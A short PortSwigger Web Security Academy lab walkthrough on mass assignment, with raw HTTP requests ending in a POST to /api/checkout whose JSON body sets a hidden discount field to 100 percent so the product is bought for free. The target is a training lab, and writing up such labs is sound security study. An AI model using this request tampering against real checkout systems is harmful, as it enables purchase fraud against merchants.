Skip to content

Port Swigger Exploiting a mass assignment vulnerab

Exploiting a mass assignment vulnerability

Solution

Open the website: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/

https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/

Login to website as user wiener

https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/login

Open the website: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/product?productId=1

https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/product?productId=1
---
Lightweight "l33t" Leather Jacket

Add "Lightweight "l33t" Leather Jacket" to my bucket

POST /cart HTTP/2
Host: 0a5300e80410eddd8080d09700dc00aa.web-security-academy.net
Cookie: session=NCpQs7YST9epqrFrtElTY6OMP7yDgky7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Origin: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net
Referer: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/product?productId=1
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, i
Te: trailers

productId=1&redir=PRODUCT&quantity=1

Open my bucket

https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/cart

Edit chosen_discount from 0% to 100%

GET /api/checkout HTTP/2
Host: 0a5300e80410eddd8080d09700dc00aa.web-security-academy.net
Cookie: session=NCpQs7YST9epqrFrtElTY6OMP7yDgky7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/cart?err=INSUFFICIENT_FUNDS
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
---
POST /api/checkout HTTP/2
Host: 0a5300e80410eddd8080d09700dc00aa.web-security-academy.net
Cookie: session=NCpQs7YST9epqrFrtElTY6OMP7yDgky7
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: pl,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate, br
Referer: https://0a5300e80410eddd8080d09700dc00aa.web-security-academy.net/cart?err=INSUFFICIENT_FUNDS
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=4
Te: trailers
Content-Length: 155

{"chosen_discount":{"percentage":100},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}

Solved